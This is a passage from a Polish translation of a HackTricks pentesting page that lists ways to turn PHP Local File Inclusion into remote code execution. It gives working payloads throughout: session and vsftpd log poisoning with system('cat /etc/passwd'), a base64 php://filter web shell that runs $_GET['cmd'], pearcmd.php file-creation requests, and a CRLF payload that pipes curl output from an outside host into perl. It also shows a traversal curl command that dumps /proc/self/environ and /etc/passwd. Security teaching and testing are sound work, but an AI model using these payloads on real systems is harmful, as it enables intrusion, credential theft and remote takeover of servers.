user_ip|s:0:"";loggedin|s:0:"";lang|s:9:"en_us.php";win_lin|s:0:"";user|s:6:"admin";pass|s:6:"admin";

Ustaw cookie na <?php system('cat /etc/passwd');?>

login=1&user=<?php system("cat /etc/passwd");?>&pass=password&lang=en_us.php

Użyj LFI, aby dołączyć plik sesji PHP

login=1&user=admin&pass=password&lang=/../../../../../../../../../var/lib/php5/sess_i56kgbsq9rm8ndg3qbarhsbm2

Przez ssh

Jeśli ssh jest aktywne, sprawdź, którego użytkownika używa (/proc/self/status & /etc/passwd) i spróbuj uzyskać dostęp do <HOME>/.ssh/id_rsa

Przez vsftpd logi

Logi serwera FTP vsftpd znajdują się w /var/log/vsftpd.log. W scenariuszu, w którym istnieje luka Local File Inclusion (LFI) i możliwy jest dostęp do odsłoniętego serwera vsftpd, można rozważyć następujące kroki:

  1. Wstrzyknij payload PHP w pole username podczas procesu logowania.
  2. Po wstrzyknięciu użyj LFI, aby pobrać logi serwera z /var/log/vsftpd.log.

Przez php base64 filter (using base64)

Jak pokazano w this artykule, PHP base64 filter po prostu ignoruje znaki niebędące base64. Możesz to wykorzystać, aby obejść sprawdzanie rozszerzenia pliku: jeśli dostarczysz base64, które kończy się na “.php”, filtr zignoruje “.” i dopisze “php” do base64. Oto przykładowy payload:

http://example.com/index.php?page=PHP://filter/convert.base64-decode/resource=data://plain/text,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4+.php

NOTE: the payload is "<?php system($_GET['cmd']);echo 'Shell done !'; ?>"

Przez php filters (nie jest potrzebny plik)

This writeup explains that you can use php filters to generate arbitrary content as output. Which basically means that you can generate arbitrary php code for the include without needing to write it into a file.

LFI2RCE via PHP Filters

Przez segmentation fault

Prześlij plik, który zostanie zapisany jako tymczasowy w /tmp, następnie w tym samym żądaniu wywołaj segmentation fault, a wtedy plik tymczasowy nie zostanie usunięty i możesz go odnaleźć.

LFI2RCE via Segmentation Fault

Przez Nginx — przechowywanie plików tymczasowych

Jeśli znalazłeś Local File Inclusion i Nginx działa przed PHP, możesz uzyskać RCE przy użyciu następującej techniki:

LFI2RCE via Nginx temp files

Przez PHP_SESSION_UPLOAD_PROGRESS

Jeśli znalazłeś Local File Inclusion, nawet jeśli nie masz sesji i session.auto_start jest ustawione na Off. Jeśli dostarczysz PHP_SESSION_UPLOAD_PROGRESS w danych multipart POST, PHP włączy sesję za Ciebie. Możesz to wykorzystać do uzyskania RCE:

LFI2RCE via PHP_SESSION_UPLOAD_PROGRESS

Przez przesyłanie plików tymczasowych w Windows

Jeśli znalazłeś Local File Inclusion i serwer działa na Windows, możesz otrzymać RCE:

LFI2RCE Via temp file uploads

Przez pearcmd.php + URL args

As explained in this post, the script /usr/local/lib/phppearcmd.php exists by default in php docker images. Moreover, it’s possible to pass arguments to the script via the URL because it’s indicated that if a URL param doesn’t have an =, it should be used as an argument. See also watchTowr’s write-up and Orange Tsai’s “Confusion Attacks”.

The following request create a file in /tmp/hello.php with the content <?=phpinfo()?>:

GET /index.php?+config-create+/&file=/usr/local/lib/php/pearcmd.php&/<?=phpinfo()?>+/tmp/hello.php HTTP/1.1

Poniższe wykorzystuje vuln CRLF do uzyskania RCE (z here):

http://server/cgi-bin/redir.cgi?r=http:// %0d%0a
Location:/ooo? %2b run-tests %2b -ui %2b $(curl${IFS}orange.tw/x|perl) %2b alltests.php %0d%0a
Content-Type:proxy:unix:/run/php/php-fpm.sock|fcgi://127.0.0.1/usr/local/lib/php/pearcmd.php %0d%0a
%0d%0a

Przez phpinfo() (file_uploads = on)

Jeśli znalazłeś Local File Inclusion i plik eksponujący phpinfo() z file_uploads = on, możesz uzyskać RCE:

LFI2RCE via phpinfo()

Przez compress.zlib + PHP_STREAM_PREFER_STUDIO + Path Disclosure

Jeśli znalazłeś Local File Inclusion i możesz wyeksfiltrować ścieżkę pliku tymczasowego, ALE server sprawdza, czy file to be included has PHP marks, możesz spróbować obejść tę kontrolę za pomocą tego Race Condition:

LFI2RCE Via compress.zlib + PHP_STREAM_PREFER_STUDIO + Path Disclosure

Przez eternal waiting + bruteforce

Jeśli możesz wykorzystać LFI do przesyłania tymczasowych plików i spowodować, że server zawiesi wykonanie PHP, możesz następnie godzinami brute force’ować nazwy plików, aby znaleźć plik tymczasowy:

LFI2RCE via Eternal waiting

Do Fatal Error

Jeśli dołączysz któryś z plików /usr/bin/phar, /usr/bin/phar7, /usr/bin/phar.phar7, /usr/bin/phar.phar. (Musisz dołączyć ten sam plik 2 razy, aby wygenerować ten błąd).

Nie wiem, jak to jest użyteczne, ale może być.
Nawet jeśli spowodujesz PHP Fatal Error, przesłane pliki tymczasowe PHP są usuwane.

Zachowaj sekwencje traversal od klienta

Niektórzy klienci HTTP normalizują lub łączą ../ zanim żądanie dotrze do serwera, psując directory traversal payloads. Użyj curl --path-as-is, aby zachować traversal nietknięte przy nadużywaniu log/download endpointów, które konkatenają nazwę pliku kontrolowaną przez użytkownika, i dodaj --ignore-content-length dla pseudo-plików takich jak /proc:

curl --path-as-is -b "session=$SESSION" \
"http://TARGET/admin/get_system_log?log_identifier=../../../../proc/self/environ" \
--ignore-content-length -s | tr '\000' '\n'

Dopasuj liczbę segmentów ../ aż wydostaniesz się z zamierzonego katalogu, następnie dump /etc/passwd, /proc/self/cwd/app.py, lub inne pliki źródłowe/konfiguracyjne.

Referencje

Tip

Ucz się i ćwicz Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Ucz się i ćwicz Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE) Ucz się i ćwicz Hacking Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Wsparcie dla HackTricks